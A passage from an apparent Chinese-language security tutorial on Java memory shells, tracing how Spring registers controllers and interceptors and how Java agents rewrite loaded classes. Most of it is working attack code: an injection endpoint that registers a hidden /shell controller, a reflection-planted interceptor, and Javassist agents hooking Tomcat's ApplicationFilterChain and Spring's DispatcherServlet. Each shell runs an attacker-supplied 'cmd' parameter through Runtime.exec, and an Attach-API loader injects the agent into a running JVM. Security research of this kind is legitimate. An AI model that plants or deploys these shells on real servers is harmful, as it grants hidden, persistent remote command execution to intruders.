可以看到在 mappingRegistry 中有一个 HashMap 叫 registry , 它里面有多个 RequestMappingInfo , 即请求映射信息 , 点进去可以看到里面有 key 和 value 两个对象 , key 中是 请求路径 value 中是 Controller 信息
我们现在找到了 Contriller 信息保存的位置 , 所以我们只要想办法把我们的木马的信息添加进来即可
最终我们找到 org.springframework.web.servlet.handler.AbstractHandlerMethodMapping #registerHandlerMethod
所以我们只需要调用到这个方法即可 , 由于它是抽象类 , 所以我们选择调用前面说过的它的子类 RequestMappingHandlerMapping 的这个方法
那么我们怎么获得这个对象呢 ?
我们刚才调试的时候这个对象是放在 handlerMappings 里面的 , 所以我们去看 handlerMappings 是怎么来的
首先看一下调用 :
根据注释我们可以知道它是从 ApplicationContext 中加载出来的
所以我们大致流程就是先获取 ApplicationContext , 然后再拿到 RequestMappingHandlerMapping , 最后调用 registerMapping 即可
Demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package com.controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.DispatcherServlet;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;@RestController public class TestController { @RequestMapping("/test") public String test () { return "test" ; } @RequestMapping("/inject") public String inject () throws Exception { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0 ); RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); RequestMappingInfo mappingInfo = new RequestMappingInfo ( new PatternsRequestCondition ("/shell" ), new RequestMethodsRequestCondition (), null , null , null , null , null ); mapping.registerMapping(mappingInfo, new ShellController (), ShellController.class.getDeclaredMethod("shell" )); return "success" ; } @RestController public class ShellController { public String shell () throws Exception { HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); String cmd = request.getParameter("cmd" ); StringBuilder sb = new StringBuilder (); try { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader ((new InputStreamReader (process.getInputStream()))); String line = null ; while ((line = reader.readLine()) != null ) { sb.append(line).append("\\A" ); } } catch (IOException e) { throw new RuntimeException (e); } return sb.toString(); } } }
补充 刚才我们主要是从**发起一条 http 请求然后找到具体 Controller **这条线来找 Controller 具体保存在哪的 , 没有体现 Controller 的注册流程
下面我们从 Spring 下 bean 的初始化 这条线来分析 Controller 的注册流程
前面分析流程的时候我们知道 RequestMappingHandlerMapping 获取了我们请求所对应的 handler :
它的职责是建立 HTTP 请求与处理该请求的控制器方法(即 @Controller
类中的 @RequestMapping
方法)之间的映射关系
当时的 handlerMappings 列表中还有其他几个 mapping , 他们的作用分别是
**WelcomePageHandlerMapping **专门用于处理应用欢迎页(Welcome Page)的映射,通常是根路径"/"
**BeanNameUrlHandlerMapping **根据Spring Bean的名字中定义的URL路径来映射请求
RouterFunctionMapping 用于在Spring WebFlux中将请求映射到基于RouterFunction
的函数式端点
**SimpleUrlHandlerMapping **允许你以集中、显式的方式配置URL路径与处理程序(Handler)之间的映射关系
例如:你可以在配置中(Java Config 或 XML)定义一个SimpleUrlHandlerMapping
Bean,并通过一个Map来指定映射 /home -> homeController
, /static/** -> resourceHttpRequestHandler
很明显在这里和我们注入内存马相关的就是 RequestMappingHandlerMapping 了
那么它具体是怎么处理请求和 handler 之间的映射的呢?
SpringMVC 初始化时,在每个容器的 bean 构造方法、属性设置之后,将会使用 InitializingBean 的 afterPropertiesSet
方法进行 Bean 的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有 @Controller
注解类中的方法级别的 @RequestMapping
以及 RequestMappingInfo 实例的创建。看一下具体的是怎么创建的 :
首先来到 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping #afterPropertiesSet
实例化 config 并设置一些值 , 然后调用了父类的 afterPropertiesSet 方法 , 跟进 :
没逻辑 , 继续跟进 :
获取所有的 bean 然后调用 processCandidateBean 对 bean 进行处理
跟进看看 :
获取 bean 的 Type , 然后调用 isHandler 方法判断该 bean 是不是 Handler , 最后调用 detectHandlerMethods
isHandler : 判断当前 bean 是否含有 Controller 和 RequestMapping 注解
detectHandlerMethods :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 protected void detectHandlerMethods (final Object handler) { Class<?> handlerType = (handler instanceof String) ? getApplicationContext().getType((String) handler) : handler.getClass(); final Class<?> userType = ClassUtils.getUserClass(handlerType); Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter () { public boolean matches (Method method) { return getMappingForMethod(method, userType) != null ; } }); for (Method method : methods) { T mapping = getMappingForMethod(method, userType); registerHandlerMethod(handler, method, mapping); } }
这部分有两个关键功能,一个是 getMappingForMethod
方法根据 handler method 创建RequestMappingInfo 对象 :
一个是 registerHandlerMethod
方法 , 将 handler method 与 RequestMappingInfo 进行相关映射 :
这就和之前我们找到的注册 mapping 的地方对上了 , Controller 和 路径的映射关系就是存储在这里的
Spring Interceptor 内存马 Interceptor 是 Spring 使用 AOP 对 Filter 思想的另一种实现,在其他框架如 Struts2 中也有拦截器思想的相关实现。Intercepor 主要是针对 Controller 进行拦截
流程分析 + 踩坑 先正常创建一个 Interceptor :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.interceptor;import org.springframework.web.servlet.HandlerInterceptor;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor implements HandlerInterceptor { public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("preHandle" ); return true ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.interceptor;import org.springframework.context.annotation.Configuration;import org.springframework.web.servlet.config.annotation.EnableWebMvc;import org.springframework.web.servlet.config.annotation.InterceptorRegistry;import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;@Configuration @EnableWebMvc public class WebConfig implements WebMvcConfigurer { public void addInterceptors (InterceptorRegistry registry) { registry.addInterceptor(new TestInterceptor ()).addPathPatterns("/**" ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 package com.interceptor;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@RestController public class IndexController { @RequestMapping("/index") public String index () { return "index" ; } }
在 preHandle 处打断点 , 开始调试
和之前一样回溯到 org.springframework.web.servlet.DispatcherServlet #doDispatch
能够看到在这里是调用了 org.springframework.web.servlet.HandlerExecutionChain #applyPreHandle 之后才走到 preHandler 的 :
跟进看看 :
这个方法首先调用 getInterceptors 方法获取一个数组 , 然后依次调用其中的 Interceptor 的 preHandler 方法
跟进这个 getInterceptors 方法 , 看看是从哪里获取的 :
可以看到就是当前类的 interceptorList 字段 转换成数组 , 查找用法看看哪里会向里面赋值
最终找到了本类的 addInterceptor 方法
所以我们的思路就是要拿到 HandlerExecutionChain 然后调用 addInterceptor
那么这个对象要怎么拿到呢?
在前面分析 doDispatch 的时候我们分析过 :
这里遍历了 handlerMappings 这个列表 , 调用 getHandler 方法获取 handler 然后返回
可以看到这个 handlerMappings 里面有很多 mapping , 我们并不知道会调用哪个
在这里重新下个断点 , 当获取到的 handler 不为 null 时 , mapping 对应的是 RequestMappingHandlerMapping
跟进这个类 , 会发现它并没有 getHandler 方法 , 向上去看他的父类 , 也没有
最后一直跟到 org.springframework.web.servlet.handler.AbstractHandlerMapping #getHandler
所以只要获取到 RequestMappingHandlerMapping 和 request 对象 , 然后调用 getHandler 方法拿到 HandlerExecutionChain , 最后 addInterceptor 即可 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package com.interceptor;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.DispatcherServlet;import org.springframework.web.servlet.HandlerExecutionChain;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;@RestController public class InjectController { @RequestMapping("/inject") public String inject () throws Exception { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0 ); RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); HandlerExecutionChain handler = mapping.getHandler(request); ShellInterceptor shellinterceptor = new ShellInterceptor (); handler.addInterceptor(shellinterceptor); return "success" ; } public class ShellInterceptor implements HandlerInterceptor { public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("shellInterceptor" ); String cmd = request.getParameter("cmd" ); if (cmd != null ) { StringBuilder sb = new StringBuilder (); try { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader ((new InputStreamReader (process.getInputStream()))); String line = null ; while ((line = reader.readLine()) != null ) { sb.append(line).append("\\A" ); } response.getWriter().write(sb.toString()); } catch (IOException e) { throw new RuntimeException (e); } } return true ; } } }
试一下 , 失败了 , 调试一下看看 :
add 之前 :
add 之后 :
明明已经成功加入了啊
再调一下注入内存马的请求 :
结果发现里面并没有我们刚才新增的 Controller , 大概是因为这样只是修改了当前请求的 handler , 并没有影响到整个服务器 , 当一个新的请求发过来时 , 又会经历一遍 getHandler :
然后会去 mappings 里面拿 , 也就是 RequestMappingHandlerMapping :
经过测试 , 刚才那种写法确实没有把 interceptor 放入 mappings :
所以我们最终目标应该是将 interceptor 注册到 RequestMappingHandlerMapping 的 interceptors 中
来到 RequestMappingHandlerMapping 会发现其实里面没有 interceptors 字段 , 它其实在 RequestMappingHandlerMapping 的祖先类 AbstractHandlerMapping 中 :
这是一个 List , 那我们只要反射获取它 , 然后再 add 我们自己的 interceptor 就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package com.interceptor;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.DispatcherServlet;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.lang.reflect.Field;import java.util.ArrayList;@RestController public class InjectController { @RequestMapping("/inject") public String inject () throws Exception { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0 ); RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); Field interceptors = AbstractHandlerMapping.class.getDeclaredField("interceptors" ); interceptors.setAccessible(true ); ArrayList interceptorList = (ArrayList) interceptors.get(mapping); interceptorList.add(new ShellInterceptor ()); return "success" ; } public class ShellInterceptor implements HandlerInterceptor { public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("shellInterceptor" ); String cmd = request.getParameter("cmd" ); if (cmd != null ) { StringBuilder sb = new StringBuilder (); try { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader ((new InputStreamReader (process.getInputStream()))); String line = null ; while ((line = reader.readLine()) != null ) { sb.append(line).append("\\A" ); } response.getWriter().write(sb.toString()); } catch (IOException e) { throw new RuntimeException (e); } } return true ; } } }
结果测试了还是失败
调一下 , 发现确实加进去了 :
跟一下新请求试试 :
发现 HandlerExecutionChain 中并没有拿到我们刚才新加的 Interceptor
跟进去发现我们加进去的 interceptor 还是在的 :
那就只能说明 HandlerExecutionChain 里的 interceptorList 不是从 HandlerExecutionChain 的 intercepters 里面获取的
继续跟看看到底是怎么拿的 , 一直跟到了 org.springframework.web.servlet.handler.AbstractHandlerMapping #getHandlerExecutionChain
好家伙原来用的是 adaptedInterceptors , 改一下赋值的地方就好了
Demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package com.interceptor;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.DispatcherServlet;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.lang.reflect.Field;import java.util.ArrayList;@RestController public class InjectController { @RequestMapping("/inject") public String inject () throws Exception { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0 ); RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); Field interceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); interceptors.setAccessible(true ); ArrayList interceptorList = (ArrayList) interceptors.get(mapping); interceptorList.add(new ShellInterceptor ()); return "success" ; } public class ShellInterceptor implements HandlerInterceptor { public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("shellInterceptor" ); String cmd = request.getParameter("cmd" ); if (cmd != null ) { StringBuilder sb = new StringBuilder (); try { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader ((new InputStreamReader (process.getInputStream()))); String line = null ; while ((line = reader.readLine()) != null ) { sb.append(line).append("\\A" ); } response.getWriter().write(sb.toString()); } catch (IOException e) { throw new RuntimeException (e); } } return true ; } } }
Java Agent 内存马 Java Instrumentation 简介 JDK™ 5.0 中引入包java.lang.instrument
。 该包提供了一个 Java 编程 API,可以用来开发增强 Java 应用程序的工具,例如监视它们或收集性能信息。使用 Instrumentation,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。
JavaAgent 是一种可以在 JVM 启动时或运行时附加的程序 , 有两种加载方式 :
1 . Premain : 在 JVM 启动时通过 -javaagent:path/to/your-agent.jar 来指定
2 . Agentmain : 在 JVM 启动之后通过 Attach Api 动态附加到正在运行的 JVM 进程上
Premain 示例 这里需要准备两个程序 , 一个是 agent 程序 , 另一个是后面使用 agent 的程序
首先是一个正常的程序 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.test;public class Test { public void say () { System.out.println("aaa" ); } public static void main (String args[]) throws Exception { Test t = new Test (); while (true ){ t.say(); Thread.sleep(1000 ); } } }
然后再新建一个项目 , 编写 Agent 程序 :
1 2 3 4 5 6 7 import java.lang.instrument.Instrumentation;public class PreMainTest { public static void premain (String agentArgs, Instrumentation inst) { inst.addTransformer(new MyTransformer ()); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class MyTransformer implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { String dotClassName = className.replace('/' , '.' ); if ("com.test.Test" .equals(dotClassName)) { try { ClassPool cp = ClassPool.getDefault(); CtClass cc = cp.get(dotClassName); CtMethod method = cc.getDeclaredMethod("say" ); String codeToInsert = "System.out.println(\"[Agent] TargetMethod was called!\");" ; method.insertBefore(codeToInsert); return cc.toBytecode(); } catch (Exception e) { e.printStackTrace(); } } return null ; } }
还需要修改一下 pom.xml 的信息 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion>4.0 .0 </modelVersion> <groupId>com</groupId> <artifactId>Agent_Demo</artifactId> <version>1.0 -SNAPSHOT</version> <properties> <maven.compiler.source>8 </maven.compiler.source> <maven.compiler.target>8 </maven.compiler.target> <project.build.sourceEncoding>UTF-8 </project.build.sourceEncoding> </properties> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestEntries> <Agent-Class>AgentMainTest</Agent-Class> <Premain-Class>PreMainTest</Premain-Class> <Can-Redefine-Classes>true </Can-Redefine-Classes> <Can-Retransform-Classes>true </Can-Retransform-Classes> </manifestEntries> </archive> </configuration> <executions> <execution> <id>make-assembly</id> <phase>package </phase> <goals> <goal>single</goal> </goals> </execution> </executions> </plugin> </plugins> </build> <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.30 .2 -GA</version> </dependency> </dependencies> </project>
原因如下 :
创建一个 Premain 类型的 Agent 时,需要在 MANIFEST.MF 中指定 Premain-Class 属性 , JVM オ能在启动时加载指定代理类
而创建一个 Agentmain 类型的 Agent 时,需要在 MANIFEST 中指定 Agent-Class 属性 , JVM 才能在运行时加载指定的代理类
Can-Redefine-Classes: true 表示允许 Java Agent 重新定义已经加载的类
Can-Retransform-Classes: true 表示允许 Java Agent 重新转换已经加载的类
为了方便 , 我们可以直接在 pom.xml 中提前设置好 maven 的打包配置
最后执行下面的命令打包成 jar 包 :
回到刚才的程序 , 这是正常运行该程序 :
当我们指定 Agent 后 :
1 java -javaagent:D:\Code\JavaSec\MemShell\Agent_Demo\target\Agent_Demo-1.0 -SNAPSHOT-jar-with-dependencies.jar com.test.Test
可以看到我们成功在别人的方法中注入了我们自己的代码
该项技术赋予我们可以动态修改 JVM 中已加载类的字节码的能力而不需要重启 JVM。内存马正是利用这点,修改中间件的处理逻辑
Agentmain 示例 Agentmain 可以不指定启动参数 , 在程序正在执行的时候就能注入我们自己的代码
先将正常的程序跑起来 , 然后查看进程名 :
然后编写 AgentMainTest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;public class AgentMainTest { public static void agentmain (String agentArgs, Instrumentation inst) throws UnmodifiableClassException { inst.addTransformer(new MyTransformer (), true ); for (Class clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals("com.test.Test" )){ inst.retransformClasses(clazz); } } } }
还需要写一个 loader 用于加载我们的 agent , 里面指定 agent 的路径以及要注入的进程名 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;public class AgentLoader { public static void main (String[] args) throws Exception { String agentJarPath = "D:\\Code\\JavaSec\\MemShell\\Agent_Demo\\target\\Agent_Demo-1.0-SNAPSHOT-jar-with-dependencies.jar" ; String targetProcessName = "com.test.Test" ; for (VirtualMachineDescriptor vm : VirtualMachine.list()) { if (vm.displayName().contains(targetProcessName)) { VirtualMachine jvm = VirtualMachine.attach(vm.id()); jvm.loadAgent(agentJarPath); jvm.detach(); System.out.println("Agent loaded to PID: " + vm.id()); return ; } } System.out.println("Process not found" ); } }
由于这里用了 com.sun.tools 包 , 还需要在 pom.xml 中加上一个依赖 :
1 2 3 4 5 6 7 <dependency > <groupId > com.sun</groupId > <artifactId > tools</artifactId > <version > ${java.version}</version > <scope > system</scope > <systemPath > ${java.home}/../lib/tools.jar</systemPath > </dependency >
然后运行我们的 loader :
注入内存马 Tomcat 用之前的 Servlet 项目起一个服务 , 在 doGet 下断 , 然后看堆栈会发现所有的请求都会经过 org.apache.catalina.core.ApplicationFilterChain #doFilter
所以这里是我们去 Hook 的最佳选择 , 下面是完整代码 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;public class AgentMainTest { public static void agentmain (String agentArgs, Instrumentation inst) throws UnmodifiableClassException { inst.addTransformer(new MyTransformer (), true ); for (Class clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain" )){ inst.retransformClasses(clazz); } } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javassist.LoaderClassPath;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class MyTransformer implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { if ("org/apache/catalina/core/ApplicationFilterChain" .equals(className)) { try { ClassPool cp = ClassPool.getDefault(); if (loader != null ) { cp.insertClassPath(new LoaderClassPath (loader)); } CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain" ); CtMethod method = cc.getDeclaredMethod("doFilter" ); String codeToInsert = "if ($1.getParameter(\"cmd\") != null) {" + " try {" + " String cmd = $1.getParameter(\"cmd\");" + " java.lang.Process p = java.lang.Runtime.getRuntime().exec(cmd);" + " java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter(\"\\\\A\");" + " String result = s.hasNext() ? s.next() : \"\";" + " java.io.PrintWriter w = $2.getWriter();" + " w.write(result);" + " w.flush();" + " return;" + " } catch (Exception e) {}" + "}" ; method.insertBefore(codeToInsert); return cc.toBytecode(); } catch (Exception e) { e.printStackTrace(); } } return null ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;public class AgentLoader { public static void main (String[] args) throws Exception { String agentJarPath = "D:\\Code\\JavaSec\\MemShell\\Agent_Demo\\target\\Agent_Demo-1.0-SNAPSHOT-jar-with-dependencies.jar" ; String targetProcessName = "org.apache.catalina.startup.Bootstrap" ; for (VirtualMachineDescriptor vm : VirtualMachine.list()) { if (vm.displayName().contains(targetProcessName)) { VirtualMachine jvm = VirtualMachine.attach(vm.id()); jvm.loadAgent(agentJarPath); System.out.println("Agent loaded to PID: " + vm.id()); return ; } } System.out.println("Process not found" ); } }
Spring Spring 中我们选择 Hook 的是 org.springframework.web.servlet.DispatcherServlet#doDispatch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;public class AgentMainTest { public static void agentmain (String agentArgs, Instrumentation inst) throws UnmodifiableClassException { inst.addTransformer(new MyTransformer (), true ); for (Class clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals("org.springframework.web.servlet.DispatcherServlet" )){ inst.retransformClasses(clazz); } } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javassist.LoaderClassPath;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class MyTransformer implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { if ("org/springframework/web/servlet/DispatcherServlet" .equals(className)) { try { ClassPool cp = ClassPool.getDefault(); if (loader != null ) { cp.insertClassPath(new LoaderClassPath (loader)); } CtClass cc = cp.get("org.springframework.web.servlet.DispatcherServlet" ); CtMethod method = cc.getDeclaredMethod("doDispatch" ); String code = "javax.servlet.http.HttpServletRequest req = $1;" + "javax.servlet.http.HttpServletResponse resp = $2;" + "String cmd = req.getParameter(\"cmd\");" + "if (cmd != null && !cmd.trim().isEmpty()) {" + " try {" + " java.lang.Process p = java.lang.Runtime.getRuntime().exec(cmd);" + " java.io.BufferedReader reader = new java.io.BufferedReader(" + " new java.io.InputStreamReader(p.getInputStream()));" + " StringBuilder output = new StringBuilder();" + " String line;" + " while ((line = reader.readLine()) != null) {" + " output.append(line).append(\"\\n\");" + " }" + " resp.getWriter().write(output.toString());" + " resp.getWriter().flush();" + " return;" + " } catch (Exception e) {}" + "}" ; method.insertBefore(code); byte [] result = cc.toBytecode(); cc.detach(); return result; } catch (Exception e) { e.printStackTrace(); } } return null ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;public class AgentLoader { public static void main (String[] args) throws Exception { String agentJarPath = "D:\\Code\\JavaSec\\MemShell\\Agent_Demo\\target\\Agent_Demo-1.0-SNAPSHOT-jar-with-dependencies.jar" ; String targetProcessName = "com.controller.ControllerApplication" ; for (VirtualMachineDescriptor vm : VirtualMachine.list()) { if (vm.displayName().contains(targetProcessName)) { VirtualMachine jvm = VirtualMachine.attach(vm.id()); jvm.loadAgent(agentJarPath); System.out.println("Agent loaded to PID: " + vm.id()); return ; } } System.out.println("Process not found" ); } }
Reference JavaWeb 内存马一周目通关攻略 | 素十八
JavaWeb 内存马二周目通关攻略 | 素十八
Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】
【Java安全】内存马专题之Servlet马_哔哩哔哩_bilibili
java内存马专题1-servlet内存马_哔哩哔哩_bilibili
从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)-先知社区
Tomcat 架构原理解析到架构设计借鉴_牛客博客
Tomcat-Servlet型内存马 - Longlone’s Blog
Tomcat中容器的pipeline机制 - coldridgeValley - 博客园
Java Instrumentation | 素十八
可能是B站最细的Java内存马课程(免费开源)_哔哩哔哩_bilibili
基于javaAgent内存马检测查杀指南
Java agent注入技术初探 - 郑瀚 - 博客园